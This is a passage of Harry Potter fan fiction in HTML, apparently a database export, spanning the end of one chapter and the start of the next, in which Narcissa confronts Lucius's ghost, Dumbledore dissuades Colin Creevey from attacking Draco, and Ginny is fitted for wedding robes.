petulantly. &#8220;There are all sorts of <i>Weasleys</i> living down below and they have a ghoul in that wardrobe over there.&#8221; Lucius pointed off into the darkness. &#8220;I must go home and prepare for Master.&#8221; He grew increasingly irritable and restless, shoving his finger through his translucent hair. &#8220;He&#8217;ll be arriving soon and then all of the Mudbloods and Mug&#8212;&#8221;</p>\n\n<p></p>\n\n<p> &#8220;I&#8217;ve come to ask you a few questions, Lucius,&#8221; Narcissa said calmly. She thought she would have felt something, standing here with him. But when Narcissa was honest, she realised that she had been more upset to hear of his continued existence than she was when given the news of his death. At least now she could find out if he really did curse their son.</p>\n\n<p></p>\n\n<p> &#8220;You&#8217;re always wanting something, Narcissa.&#8221;</p>\n\n<p></p>\n\n<p> &#8220;Yes, well I&#8217;m in a position to ask you now.&#8221; She folded her hands. &#8220;I would like to know if you placed the Tir nan Og Curse on Draco.&#8221;</p>\n\n<p></p>\n\n<p> &#8220;Of course,&#8221; Lucius said casually. &#8220;The Dark Lord wanted a perfect vessel, so I was going to give him one. He even helped me with some of the alterations.&#8221;</p>\n\n<p></p>\n\n<p> &#8220;You were going to sacrifice our son&#8217;s body and mind to him? He&#8217;s your <i>heir</i>! Surely even you aren&#8217;t that foolish.&#8221;</p>\n\n<p></p>\n\n<p> Lucius scoffed. &#8220;I could always have made more if I had wanted to, Narcissa. The gender manipulation charms are easy enough to manage, even for you.&#8221;</p>\n\n<p></p>\n\n<p> She smiled cattily, content in the knowledge that he could <i>not</i> have made more heirs. Draco&#8217;s birth had, blessedly, ended the possibility of future children from her body. But Lucius didn&#8217;t need to know that. At least not while he was being useful.</p>\n\n<p></p>\n\n<p> &#8220;Draco found a way to break it.&#8221; Narcissa stepped closer. &#8220;I suspect that the emotional turmoil was immediately effective, but the physical effects are still appearing. He&#8217;s different every time I see him. I give it another four or five months before the curse fades completely away.&#8221;</p>\n\n<p></p>\n\n<p> &#8220;Bully for Draco,&#8221; Lucius muttered childishly. &#8220;I only renewed it less than a year ago. His schoolmates were calling him &#8216;Spindle-legs&#8217; . . . hardly an appropriate name for a Malfoy.&#8221;</p>\n\n<p></p>\n\n<p> &#8220;Whereas Lucius is an <i>entirely</i> appropriate name for you,&#8221; Narcissa murmured. She&#8217;d waited for so long to be able to say something like that to her husband. And there was nothing he could do about it.</p>\n\n<p></p>\n\n<p> He glared at her, his glassy form wavering. &#8220;So what were your other questions?&#8221;</p>\n\n<p></p>\n\n<p> Narcissa glanced at Percy. &#8220;Why did you kill him when I asked you distinctly not to do so?&#8221;</p>\n\n<p></p>\n\n<p> Percy started when Lucius laughed and glided closer to Narcissa. </p>\n\n<p></p>\n\n<p> &#8220;Because he was no longer useful to me and he was interfering.&#8221; Lucius whirled around and floated over to a tiny window, his colourless eyes gazing longingly at the sun. The light shone through him and puddled on the dusty floor in a pattern that made Narcissa feel as if she were underwater. &#8220;But I suppose that I&#8217;m being punished for it now.&#8221; He turned his head and roved his eyes over Percy, lingering on his crumpled face in a way that seemed to pain him. &#8220;I still have to look at him,&#8221; he whispered huskily.</p>\n\n<p></p>\n\n<p> Narcissa could hear Percy sob beside her and it spiralled her anger to new heights. &#8220;He is my friend, Lucius. I begged you not to do it.&#8221; Her hands fisted by her sides. Now she understood how people could give in to violence so easily. &#8220;I <i>begged</i> for him!&#8221;</p>\n\n<p></p>\n\n<p> &#8220;Yes,&#8221; Lucius sneered, coming to himself again. &#8220;I recall that you begged quite prettily for another friend once, too. And you still pined for him. At least until you found out what he was.&#8221; He came closer and let his hand pass through her arm instead of grasping her. &#8220;The thing you allowed to touch you.&#8221;</p>\n\n<p></p>\n\n<p> &#8220;Percy was different,&#8221; she whispered, watching the subtle shift in light that was Percy&#8217;s tears, not wanting to see the sudden lucidity in Lucius&#8216; eyes. &#8220;Is different. He understood me, I think. And you didn&#8217;t want him, not really. But I did. Just like our son, you took him away from me as well; made it so that Draco couldn&#8217;t even love his own mother.&#8221; Lucius&#8217; laugh rang in her ears and she wanted to block it out, but couldn&#8217;t. &#8220;You tried to make him a miniature copy of yourself, but it didn&#8217;t work the way you wanted, did it? He still rebelled.&#8221;</p>\n\n<p></p>\n\n<p> &#8220;I suppose that must have been your blood, wife.&#8221;</p>\n\n<p></p>\n\n<p> Narcissa laughed mockingly. &#8220;Yes, well he didn&#8217;t get his strength from you, obviously. You always were a pushover for the Dark Lord.&#8221; She turned to pin Lucius with her eyes simply because she felt confident that she <i>could </i>now without restraint. &#8220;Creeping off into the night to do his&#8212;&#8221;</p>\n\n<p></p>\n\n<p> Lucius did grab her this time, around the throat. Her hands came up to push him away, but they closed over chill, empty air. He throttled her back and forth until bless&#233;d Percy pulled her from his grasp. </p>\n\n<p></p>\n\n<p> &#8220;Narcissa, go!&#8221; Percy commanded, still struggling with her husband. Lucius&#8217; eyes were wild as they locked with those of the younger spirit, their transparent bodies colliding and slipping against each other in a struggle for dominance. &#8220;Go back downstairs! I&#8217;ll take care of him.&#8221;</p>\n\n<p></p>\n\n<p> She turned and fled from the attic, scrambling down the ladder and flicking her wand at the trapdoor to make it seal shut behind her. Narcissa leant up against the wall and tried to catch her breath. She hadn&#8217;t done anything that active for years. </p>\n\n<p></p>\n\n<p> Narcissa raised her wand again and cast a calming charm on herself. Then she straightened her robes with a flick of her fingers and smoothed her hair before she went down to start writing the marriage contract. It wouldn&#8217;t do to look like Molly Weasley with her mess, would it?</p>\n\n<p></p>\n\n<p></p>\n\n<p> *~*~*~*~*</p>\n\n<p></p>\n\n<p></p>\n\n<p>Harry huddled under his invisibility cloak, trying to ward off the chill creeping into him from the cold stones beneath his slippered feet. Hermione was tucked safely in his bed for the fourth night in a row, but he couldn&#8217;t sleep, not even with her there to warm him. </p>\n\n<p></p>\n\n<p> The finalisation of their hastily constructed plans had taken over, ticking away in his head like a bomb. What if they couldn&#8217;t find it? What if Hermione was wrong? How else would they discover what <i>really </i>happened in 1945? The doubts gnawed at Harry, twisting his stomach and his mind into knots that had no end, no beginning. All he could do was sit up and stare at the walls, helplessly attempting to unravel them and make the strategy form some sort of <i>sense. </i>However, Harry counted it lucky that he was awake tonight in the common room, mulling over what could be a very dangerous situation.</p>\n\n<p></p>\n\n<p> Because little Colin Creevey was up to something cloak and dagger and decidedly un-Gryffindor.</p>\n\n<p></p>\n\n<p> He&#8217;d watched Colin slip down the stairs, his round eyes shifting almost comically from left to right as he looked to see if anyone was about. Colin hadn&#8217;t seen Harry hunched in an armchair, shadows blanketing him in the corner of the room.</p>\n\n<p></p>\n\n<p> After Colin crawled out the portrait hole, Harry ran upstairs to fetch his cloak and map. The rest was history. Cold history. Boring history. And bloody hell, Hogwarts was an uncomfortable place to spy on someone. Harry shifted again and tried to make his body, half-propped against a window ledge, comfortable.</p>\n\n<p></p>\n\n<p> Why was Colin Creevey sitting on a window ledge, not far from the hallway that branched into the Slytherin dorms and common room? Harry&#8217;s stomach churned in anxiety. Surely he wouldn&#8217;t confront Malfoy about Ginny, would he? After so long? It&#8217;d been half a week since the news came that she was, erm<font face="Symbol">&#190;</font> well, it would be insane to start an argument with Malfoy on his own turf. Not with all of Slytherin house to back him up.</p>\n\n<p></p>\n\n<p> Harry glanced at his watch: almost three by Muggle time.</p>\n\n<p></p>\n\n<p> He was mad.</p>\n\n<p></p>\n\n<p> The corridor seemed endless. Shafts of moonlight streaming through the windows broke the darkness into neat, manageable pieces. Harry saw a flicker down the way that grew steadily larger. </p>\n\n<p></p>\n\n<p> Dumbledore was coming.</p>\n\n<p></p>\n\n<p> Colin didn&#8217;t notice. He was still concentrating on the Slytherin hallway, fingering his wand. Harry slipped into the shadows beside the window, closer to Colin. </p>\n\n<p></p>\n\n<p> Dumbledore cleared his throat when he was almost close enough to touch. Colin flinched and stood quickly to face the older wizard, his forehead was spangled with sudden condensation in the half-light.</p>\n\n<p></p>\n\n<p> &#8220;Headmaster Dumbledore, I<font face="Symbol">&#190;</font> &#8221;</p>\n\n<p></p>\n\n<p> &#8220;Hello Mr Creevey,&#8221; Dumbledore greeted Colin mildly, cutting him off. &#8220;I would ask what you are doing out of Gryffindor tower so late<font face="Symbol">&#190;</font> &#8221; he broke off and glanced between Colin&#8217;s wand and the Slytherin hall. &#8220;But it seems more than plain what your intentions are.&#8221;</p>\n\n<p></p>\n\n<p> Colin&#8217;s skin darkened and he looked away. &#8220;He&#8217;s going to pay for what he&#8217;s done to Ginny, sir.&#8221; Colin shifted back to Dumbledore and he looked him boldly in the eye. &#8220;And I don&#8217;t care what you say, no one&#8217;s going to stop me. I have to keep her safe.&#8221;</p>\n\n<p></p>\n\n<p> Dumbledore looked slightly surprised and almost pleased. &#8220;I must say, Mr Creevey, that you seem to exemplify the <i>bravery</i> of a Gryffindor, but you haven&#8216;t tempered this with good sense.&#8221; He gestured for Colin to sit back down. &#8220;Do you know what would happen to you if you went through with your plan tonight?&#8221;</p>\n\n<p></p>\n\n<p> Colin&#8217;s face adopted a mulish set. &#8220;I don&#8217;t care. Any price is worth seeing him dead.&#8221;</p>\n\n<p></p>\n\n<p> Harry&#8217;s mouth fell open and he almost said something until he remembered that he wasn&#8217;t actually supposed to be there.</p>\n\n<p></p>\n\n<p> &#8220;Even Miss Weasley&#8217;s peace of mind?&#8221;</p>\n\n<p></p>\n\n<p> Colin&#8217;s face shuttered in confusion. &#8220;Sir?&#8221;</p>\n\n<p></p>\n\n<p> Dumbledore budged Colin over a bit and settled in beside him. Harry crept as close as he dared so he could hear better.</p>\n\n<p></p>\n\n<p> &#8220;If you were to kill Mr Malfoy tonight,&#8221; Dumbledore said in his vague tone, resting his hand on Colin&#8216;s knee. &#8220;As you had planned, Miss Weasley would be heartbroken and you would likely lose a friendship that is very important to you.&#8221;</p>\n\n<p></p>\n\n<p> &#8220;She&#8217;d be all right after a while,&#8221; Colin protested, his chest hitching and his eyes watering. &#8220;And she&#8217;d have me to help her. Ginny wouldn&#8217;t turn her back on me.&#8221;</p>\n\n<p></p>\n\n<p> Dumbledore shook his head. &#8220;She loves him.&#8221; He raised his head just enough so that one bright blue eye glittered in the moonlight. &#8220;And you know that too well, it seems. It isn&#8217;t just to protect a friend that you are doing this, and it isn&#8217;t only for revenge.&#8221; Dumbledore paused, his breath rattling in his lungs. &#8220;You&#8217;re afraid that he&#8217;ll take her away from you.&#8221;</p>\n\n<p>\n\n</p>\n\n<p>Colin&#8217;s eyes were especially round as he turned this over in his mind. But the Headmaster wasn&#8217;t finished.</p>\n\n<p></p>\n\n<p> &#8220;At your age, you can&#8217;t be expected to know the difference between deep, honest friendship and true love.&#8221; Dumbledore adjusted his spectacles so that they perched a little higher on his long, crooked nose. &#8220;Some never discover the difference. What you feel for Miss Weasley is friendship, communion, understanding. And yes, you love her, too. She supports you, and has done, for a long time. She defends you against those in this school who don&#8217;t understand your preferences, or are frightened because they feel the same impulses you do, but are too scared to admit it. Even to themselves.&#8221;</p>\n\n<p></p>\n\n<p> Dumbledore sighed, his body slumped and suddenly seemed so terribly <i>old</i>. &#8220;It&#8217;s as I told Miss Weasley: we live in a world where these things are not accepted. You know this, as do I. And like myself, you are angry at these restrictions.&#8221; Dumbledore&#8217;s eyes glazed, as if he were seeing something besides the boy huddled beside him. </p>\n\n<p></p>\n\n<p> &#8220;For now, this is the price you must pay for your magic. As the Muggles advance in other ways, we grow stagnant. As a race, we don&#8217;t change, or grow, or learn anything new. We are taught what our parents were taught, and their parents before them.&#8221; A faint smile lifted the slack corners of Dumbledore&#8216;s lips as his hoarse, old voice continued. &#8220;But one day - hopefully not too far in the future - wizardkind will live at peace with those who are different. The people who make a difference and change our antiquated notions with intriguing new ideas. A revolution of the most exciting sort, Mr Creevey.&#8221; His eyes found Colin again and the smile faded. </p>\n\n<p></p>\n\n<p> &#8220;But even for that, we must pay a price.&#8221; He was quiet for a moment longer, his face grey and strained as if he were under an unimaginable pressure. </p>\n\n<p></p>\n\n<p> &#8220;There&#8217;s always a price,&#8221; he whispered.</p>\n\n<p></p>\n\n<p>Colin was wide-eyed. &#8220;Do you truly think that wizardkind will<font face="Symbol">&#190;</font> change?&#8221;</p>\n\n<p></p>\n\n<p> Dumbledore nodded. The mood suddenly changed and his bright eyes squinted in a friendly manner that suggested a smile. &#8220;I have it on good authority that it will be so. Perhaps even in your lifetime.&#8221; He stood up. &#8220;Now, forget this nonsense with Mr Malfoy and let Miss Weasley deal with this in her own way. I know you&#8217;re her friend, her closest companion even, but this is not the answer to her problems. Do you understand me, Mr Creevey?&#8221;</p>\n\n<p></p>\n\n<p> Colin shuffled his feet and bowed his head swiftly. His sandy fringe shaded his eyes. &#8220;Yes, sir.&#8221;</p>\n\n<p></p>\n\n<p> &#8220;I trust you can find your way back to Gryffindor?&#8221;</p>\n\n<p></p>\n\n<p> &#8220;Of course, sir. And<font face="Symbol">&#190;</font> &#8221; Colin looked up. &#8220;Thank you. I needed to hear that.&#8221;</p>\n\n<p></p>\n\n<p> Dumbledore patted him on the shoulder and Colin started back to Gryffindor, Harry tiptoeing behind him. Dumbledore cleared his throat and looked pointedly at him. Of course he&#8217;d known that Harry was there.</p>\n\n<p></p>\n\n<p> Harry stopped following Colin, and when the boy was only a speck in the distance, he removed his cloak.</p>\n\n<p></p>\n\n<p> &#8220;I&#8217;m glad that you kept an eye on young Mr Creevey tonight, Harry. But you really should stay in your dormitory at night. There are<font face="Symbol">&#190;</font> &#8221; Dumbledore paused and shook his head. He reached into his robes and pulled out his odd little pocket watch, staring at it intently before continuing. &#8220;There are all manner of things creeping about at this late hour.&#8221; He smiled sadly. &#8220;Some of whom can give you so many detentions that you&#8217;ll never leave Hogwarts.&#8221;</p>\n\n<p></p>\n\n<p> &#8220;Yes, Headmaster,&#8221; Harry parroted and turned sharply back to follow Colin. He didn&#8217;t want to speak to Dumbledore, he just wanted to go to his dorm and curl up with Hermione. He wanted to forget about Hermione&#8217;s stupid plan and Albus Quaffle&#8216;s nonsensical ravings about Grindlewald, forget that he had ever doubted Dumbledore, even though something still nagged at the back of his mind . . .</p>\n\n<p></p>\n\n<p> &#8220;And Harry . . .&#8221; </p>\n\n<p></p>\n\n<p> Harry stopped but didn&#8217;t turn around. He could hear Dumbledore&#8217;s steps echo on the stone floor, coming closer. Suddenly, Harry was quite aware of his own unprotected back.</p>\n\n<p></p>\n\n<p> &#8220;If you have any questions, you need only ask me,&#8221; Dumbledore said, gripping Harry&#8217;s shoulder in a friendly manner before walking past him to be absorbed by the shadows of the corridor.</p>\n\n<p></p>\n\n<p> He couldn&#8217;t forget. Not yet.</p>\n\n<p></p>\n\n<p> Harry walked back to his dormitory, deep in thought. He wasn&#8217;t surprised to see Hermione awake when he got there. A quick glance at Seamus&#8217; bed confirmed that Albus Quaffle was also awake and wondering where he&#8217;d been. </p>\n\n<p></p>\n\n<p> &#8220;We have to find the Mirror and discover what happened to Dumbledore back in 1945. Soon.&#8221; Harry whispered to Hermione as he climbed under the duvet, motioning Albus to come closer.</p>\n\n<p></p>\n\n<p> Some frazzled strands of hair fell across Hermione&#8217;s face in the moonlight, slashing her cheeks with dark, fuzzy shadows. When her mouth opened to address Albus Quaffle, it glittered in a wet, inviting way. &#8220;Albus, please tell us again what the last thing you remember about your duel with Grindlewald was.&#8221;</p>\n\n<p></p>\n\n<p> Albus Quaffle puffed up and crept closer to the edge of Seamus&#8217; bed, almost teetering. He generally responded well to Hermione&#8217;s soft requests and would spill more details than he would to Harry, though, Harry suspected that most of the &#8216;details&#8217; were fabrications a la Lockhart.</p>\n\n<p></p>\n\n<p> &#8220;After I crashed the door open with one of my finest spells,&#8221; Albus began proudly. His little plush body swelled alarmingly as he drew himself up. &#8220;I threw a Jelly-Legs Jinx at him. He almost blocked it, but my spells never fail, so he toppled to the ground. Still, though, old Grindy kept throwing those hexes at me and I kept blocking them. Then he said an odd one I&#8217;d never heard before and caught my gaze with his own.&#8221; Albus&#8217; plush brow wrinkled in concerted thought. &#8220;And I remember his eyes,&#8221; he said softly. &#8220;Dark and looking at me so intently that it was almost as if<font face="Symbol">&#190;</font> well, as if he were looking into my <i>soul</i>.&#8221;</p>\n\n<p></p>\n\n<p> Hermione was nodding, half-asleep again but making an effort. It was Harry who realised what Albus could be talking about. &#8220;Hermione! That&#8217;s it!&#8221;</p>\n\n<p></p>\n\n<p> &#8220;Hmmn?&#8221; she answered hazily. &#8220;I&#8217;m awake, truly I am.&#8221;</p>\n\n<p></p>\n\n<p> Harry turned and shook her shoulders slightly, making her look at him. &#8220;Remember my Occlumency lessons with Snape?&#8221;</p>\n\n<p></p>\n\n<p> Her eyes widened. &#8220;Yes! Oh goodness, yes!&#8221; Hermione&#8217;s shoulders shuddered under his hands as she reached into his bedside table for a quill and parchment, no doubt to write extensive notes and drill him mercilessly in the process.</p>\n\n<p></p>\n\n<p> &#8220;Hermione, stop. Just listen for a moment. I could be going the wrong way here,&#8221; Harry said, grabbing her searching arm. Albus just blinked at them in stuffed simplicity from across the way.</p>\n\n<p></p>\n\n<p> &#8220;Yes, but you <i>could</i> be going the right way!&#8221; She pulled her arm free and started searching for a quill again. &#8220;Honestly, just let me write down some notes. Bring Albus here and put up the Sphere. I was too sleepy to remember.&#8221;</p>\n\n<p></p>\n\n<p> Harry could have smacked himself. The Sphere. He was always forgetting the blasted thing. He swung his legs over the side of the bed and scooped up Albus, careful not to wake Seamus, and climbed back under the bedclothes with Hermione. Harry shut the curtains tight around them while Hermione lit a candle and cast the Sphere.</p>\n\n<p></p>\n\n<p> &#8220;All right,&#8221; Hermione said as she preened her parchment down to a smooth, uncrumpled sheet and leaned forward in her best interrogator pose. &#8220;Now Albus, can you remember the precise word or words Grindlewald used?&#8221;</p>\n\n<p></p>\n\n<p> &#8220;Not particularly.&#8221;</p>\n\n<p></p>\n\n<p> Harry rubbed his hand down his face and groaned, but Hermione shushed him and continued. &#8220;Are you sure? Not even what it sounded like?&#8221;</p>\n\n<p></p>\n\n<p> &#8220;Mmmmn.&#8221; Albus Quaffle seemed to have a remarkable range of expressions . . . for a plush Quaffle.</p>\n\n<p></p>\n\n<p> &#8220;Please?&#8221; Hermione wheedled. A naughty smirk tugged at her lips. &#8220;I&#8217;ll give you a kiss.&#8221;</p>\n\n<p></p>\n\n<p> &#8220;Hermione!&#8221; Harry gasped, horrified. There was no way he was going to let his girlfriend kiss that<font face="Symbol">&#190;</font> that <i>toy</i>.</p>\n\n<p></p>\n\n<p> She threw him a withering look as if to say: &#8216;don&#8217;t be a prat about it.&#8217; Harry crossed his arms and waited for the toy to decide. Not like it took much thought.</p>\n\n<p></p>\n\n<p> &#8220;I suppose I could <i>try</i> for a nice young woman such as yourself,&#8221; Albus said at last. Harry didn&#8217;t like the beady squint to his button eyes as he told them this. It looked terribly smug.</p>\n\n<p></p>\n\n<p> Hermione waited patiently and Albus sighed. &#8220;Well, it was rather like &#8216;lemony melons,&#8217; but I don&#8217;t know why he&#8217;d be talking about fruit in the middle of a <i>duel</i>.&#8221;</p>\n\n<p></p>\n\n<p> Harry snorted. &#8220;I suppose a twa<font face="Symbol">&#190;</font> &#8221; He caught Hermione&#8217;s stern eye and cleared his throat. &#8220;I suppose a nice person like you would think it sounded like fruit.&#8221; He grunted. &#8220;Close enough to the actual spell, I reckon . . . if we were making a summer pudding.&#8221;</p>\n\n<p></p>\n\n<p> &#8220;We&#8217;re only looking at the word <i>phonetically</i>, Harry. He can&#8217;t be expected to know the spell itself.&#8221;</p>\n\n<p></p>\n\n<p> Harry nodded in grudging agreement. &#8220;It still doesn&#8217;t make sense, though. The closest to that is what Voldemort did to me at the Ministry building in fifth year, but I still knew who I was. To my knowledge, Occlumency can&#8217;t be used for anything more than that, it can&#8217;t replace your soul, and this sounds like . . . well, it sounds like<font face="Symbol">&#190;</font> &#8221;</p>\n\n<p></p>\n\n<p> &#8220;Dispossession,&#8221; Hermione said crisply. &#8220;It sounds like Professor Dumbledore was kicked out of his body and was then possessed by Grindlewald; the most evil person in wizarding history aside from Voldemort.&#8221;</p>\n\n<p></p>\n\n<p> &#8220;But that&#8217;s ridiculous!&#8221; Harry hissed, ignoring Albus&#8217; spluttering protests about possession. &#8220;We&#8217;ve known Dumbledore since we first came to Hogwarts. If he was actually Grindlewald, we&#8217;d have figured it out before now. If this theory is right, he could have shown his evil self loads of times since 1945. Besides that, Dumbledore was the one who encouraged us to spread word of Voldemort&#8217;s return, encouraged m-me to defea<font face="Symbol">&#190;</font> &#8221; Harry sucked in a breath and let it go sharply, his hand raking his hair so it stood on end for a moment before flopping over. &#8220;It just doesn&#8217;t make sense, Hermione!&#8221;</p>\n\n<p></p>\n\n<p> Hermione frowned. &#8220;I know it doesn&#8217;t make sense, but that&#8217;s what logic is telling me right now. Perhaps<font face="Symbol">&#190;</font> well, perhaps Grindlewald didn&#8217;t actually <i>like</i> Voldemort very much. I think he would have been his professor still, in 1945. For only a year or so, perhaps, but still enough to know and dislike him.&#8221;</p>\n\n<p></p>\n\n<p> &#8220;Say, who is this Voldemort fellow you keep talking about?&#8221; Albus asked, sidling up to Hermione and blinking at her adoringly. </p>\n\n<p></p>\n\n<p> Hermione looked down and smiled, rubbing the back of what would be his ears. Harry could swear he heard the perverted fluff ball purr. &#8220;Voldemort was an evil wizard,&#8221; she said. &#8220;The most evil in recent history. I suppose he was a bit like what I&#8217;ve heard of Grindlewald. He slaughtered Muggles by the hundreds and tried to convince everyone that only pure-bloods are worth anything in the wizarding world.&#8221;</p>\n\n<p></p>\n\n<p> Albus shook his head. &#8220;Doesn&#8217;t sound at all like Grindlewald. He wanted to protect the Muggles, not slaughter them.&#8221;</p>\n\n<p></p>\n\n<p> Harry and Hermione both leaned back. &#8220;<i>Protect</i> the Muggles?! Why was he an evil wizard, then?&#8221;</p>\n\n<p></p>\n\n<p> &#8220;I don&#8217;t know. I just tried to help the Ministry stop him, the unnatural fiend. He was getting people all riled up talking about equal rights for house-elves, and Muggles, and centaurs<font face="Symbol">&#190;</font> imagine such a thing! They&#8217;re not even human! And Muggles barely so themse<font face="Symbol">&#190;</font> mmmph!&#8221;</p>\n\n<p></p>\n\n<p> Harry clapped his hand over the toy&#8217;s &#8216;mouth&#8217; and stuffed a pillow over him. He couldn&#8217;t believe what he was hearing! Harry slowly met Hermione&#8217;s stricken eyes. &#8220;There is no way you can tell me that this <i>thing</i> is Albus Dumbledore. I don&#8217;t care. If this was the real him - and he sounds an awful lot like the demented love-child of Lockhart and Malfoy to me - then surely people would have noticed such a drastic change in the man. He couldn&#8217;t have gone from being someone like this to someone who sounds like<font face="Symbol">&#190;</font> well, sounds like <i>you</i>, actually.&#8221;</p>\n\n<p></p>\n\n<p> &#8220;I thought you said that Albus Quaffle did sound like me,&#8221; Hermione sniffed. Two great fat tears were threatening to spill down her cheeks. </p>\n\n<p></p>\n\n<p> &#8220;Yes, well, when he said to me that he was a wizard with rights when I tried to make him shut up, I thought he did. It&#8217;s something you would say. But this?&#8221; Harry shook his head. &#8220;This is your worst nightmare.&#8221;</p>\n\n<p></p>\n\n<p> &#8220;How are we going to figure this out, Harry?&#8221; The tears that were threatening did fall down Hermione&#8217;s cheeks and Harry reached up with his free hand to wipe one away. &#8220;I&#8217;m just so confused.&#8221;</p>\n\n<p></p>\n\n<p> &#8220;Me, too,&#8221; Harry admitted, dropping his head. &#8220;If Dumbledore has never actually <i>been</i> Dumbledore . . . I don&#8217;t think I could handle it. I had to<font face="Symbol">&#190;</font> but I won&#8217;t have to do. We&#8217;ll prove that this is a load of gobshite. We will when we find the Mirror and cast the incantation. We&#8216;ll see it with our own eyes.&#8221; </p>\n\n<p></p>\n\n<p> Harry raised his eyes to Hermione&#8217;s face again. &#8220;Help me?&#8221; he pleaded softly.</p>\n\n<p></p>\n\n<p> Hermione nodded and pressed a wet kiss to his cheek, twining her fingers through his hair. &#8220;Always, Harry. I&#8216;ve come this far, and I&#8216;m the one who dug it up from the library, so I&#8216;m not about to back out now. But we should<font face="Symbol">&#190;</font> &#8221; She frowned as if thinking, her fingers splayed and tapping his cheek. &#8220;We&#8217;ll need Ron, too. It wouldn&#8217;t be right to do this without him, don&#8217;t you think?&#8221;</p>\n\n<p></p>\n\n<p> Harry smiled grimly and ignored Albus&#8217; muffled cries from under the pillow. He pressed down a little more firmly out of spite, satisfied to hear a squeak. </p>\n\n<p></p>\n\n<p> &#8220;Yeah. We need Ron for this one.&#8221;</p>\n\n<p></p>\n\n</font></blockquote><font face="Palatino Linotype">\n\n</font>\n\n '),
	(271, 32, ' <blockquote>\n\n<b><font face="Palatino Linotype" size="4"><p> A/N: Hello darling readers. Sorry it&#8217;s been so long but I&#8217;ve been waiting to hear back from Alexis and she&#8217;s gone MIA so I decided to just post this now and edit it later if she ever comes back from where she&#8217;s gone. Goodness, I miss her. Needless to say, this hasn&#8217;t been beta read so any mistakes or funny looking things are all mine. If you see anything, don&#8217;t hesitate to let me know so I can fix it.</p>\n\n<p></p>\n\n<p> Anyway, there are a few hints in here from events that happened waaaay back at the beginning of the story, and some references to things that were later edited into chapter one. So if you started reading AIDE after The Big Edit, go back and re-read chapter one so you know just what Dumbledore is talking about later. </p>\n\n<p></p>\n\n<p> To all those who love smut, you should be happy with some smutty goodness in a few chapters, so please be patient. I&#8217;m also about to move, but I don&#8217;t anticipate that affecting updates too much since they&#8217;re infrequent anyway. But I&#8217;m going to attempt to make another update this week before I move next weekend. </p>\n\n<p></p>\n\n<p> So yes, in this chapter you get some mother/daughter moments, trio moments, and Draco vs. Dumbledore moments before it ends. Hope everyone enjoys! ::waves::</p>\n\n</font></b><p></p><font face="Palatino Linotype" size="4">\n\n<p></p>\n\n<p></p>\n\n<p></p>\n\n<p></p>\n\n<p></p>\n\n<p> &#8220;Hold your arm up a little higher, dear.&#8221;</p>\n\n<p></p>\n\n<p> Ginny sighed and did as her mother requested. She was tired of this wedding nonsense. She wanted it to be over already. Ginny glanced over at Mrs Malfoy. The woman was watching her discomfort with one eyebrow raised, a haughty smirk firmly in place. It was like being stuck with a female Draco.</p>\n\n<p></p>\n\n<p> One who wasn&#8217;t afraid of her mother.</p>\n\n<p></p>\n\n<p> &#8220;These robes are . . . charming, Molly.&#8221;</p>\n\n<p></p>\n\n<p> Mrs Weasley sighed and flicked her wand at Ginny&#8217;s robes once more before replying. &#8220;They&#8217;ve been in my family for a few generations. We wear them when we marry. It&#8217;s tradition.&#8221;</p>\n\n<p></p>\n\n<p> &#8220;They look like they&#8217;ve been in your family for <i>several</i> generations. And honestly,&#8221; Mrs Malfoy tsked as she picked up the edge of the robes between her delicate fingers and examined it. &#8220;You could at least have cast a charm on it to keep the moths away.&#8221;</p>\n\n<p></p>\n\n<p> &#8220;Well,&#8221; Mrs Weasley sniffed. &#8220;I can take care of that. I have some of Mrs Buttering&#8217;s Cloth Restorer here.&#8221;</p>\n\n<p></p>\n\n<p> Mrs Malfoy lifted her carefully sculpted brow again. &#8220;That will repair the holes?&#8221;</p>\n\n<p></p>\n\n<p> &#8220;That will repair the holes.&#8221;</p>\n\n<p></p>\n\n<p> Mrs Malfoy scoffed and continued to study the robes, threading the bronze silk through her fingers. &#8220;I suspect that this was beautiful when it was new,&#8221; she acceded. &#8220;When would that be, Molly?&#8221; she asked as she looked up, a dagger-like sharpness underscoring her saccharine tone. &#8220;The fifteenth century?&#8221;</p>\n\n<p></p>\n\n<p> Mrs Weasley&#8217;s face flamed. &#8220;Eighteenth.&#8221;</p>\n\n<p></p>\n\n<p> &#8220;Ah, I see,&#8221; she sighed. Mrs Malfoy folded her long fingers together and rested them at her waist. &#8220;Tradition is all well and fine, but usually a bride would prefer something less tattered, I would think.&#8221;</p>\n\n<p></p>\n\n<p> &#8220;They were a gift to my grandmother Prewett from Muggle nobility,&#8221; Mrs Weasley ground out, her teeth clicking in agitation.</p>\n\n<p></p>\n\n<p> &#8220;<i>Muggle</i>?&#8221; Mrs Malfoy asked, the slight rise in pitch indicating her horror at the thought. &#8220;My son will be standing next to your daughter - in front of international press, may I add - whilst she&#8217;s wearing antique <i>Muggle</i> robes!&#8221;</p>\n\n<p></p>\n\n<p> Mrs Weasley smiled grimly as she tucked another pin in place with her wand. &#8220;Yes.&#8221; Tuck. &#8220;And there will be <i>no</i> press at the wedding. It needs to be kept quiet for the moment.&#8221;</p>\n\n<p></p>\n\n<p> Mrs Malfoy sat down and swiftly summoned a house-elf to bring her a cup of strong tea. Ginny smirked and hid her face by raising the billowing, iridescent cloth of her sleeve up a little higher.</p>\n\n<p></p>\n\n<p> &#8220;Mum, were these robes really . . . ?&#8221;</p>\n\n<p></p>\n\n</font><p><font face="Palatino Linotype" size="4"> &#8220;No,&#8221; Mrs Weasley whispered back. &#8220;I just told Narcissa that to bother her.&#8221; Her eyes were sparkling with mirth. &#8220;Grandmother Prewett&#8217;s family</font><font face="Palatino Linotype" size="4" color="#ff0000">\n\n</font><font face="Palatino Linotype" size="4">had about as much interaction with Muggles in the eighteenth century as the Malfoys do now.&#8221;</font></p><font face="Palatino Linotype" size="4">\n\n<p></p>\n\n<p> Ginny chuckled and peeped over the edge of her sleeve at Mrs Malfoy, who was sneaking a green splash of something from a tiny silver flask into her tea. But then she sobered when she really looked at Mrs Malfoy. The woman had the same exhausted, pinched face her son had in recent weeks. It reminded her of Draco again.</p>\n\n<p></p>\n\n<p> &#8220;Why do I have to do this, Mum?&#8221;</p>\n\n<p></p>\n\n<p> Mrs Weasley zipped along one more seam with her wand, apparently thinking of an answer. &#8220;Because this is the way things are, Ginny. I already had this argument with your father. He may like Muggles, but we aren&#8217;t Muggles. Arthur knows this.&#8221; She smoothed down a fold in the cloth of Ginny&#8217;s skirt and dabbed it gently with the cloth restorer. &#8220;There&#8217;s nothing to be frightened of, dear.&#8221; Dab, dab, dab. &#8220;Draco is a good boy. I would try to arrange something else for you if I thought otherwise.&#8221; She tipped the bottle onto the cloth in her hand again. &#8220;Perhaps you can get him to mellow. He 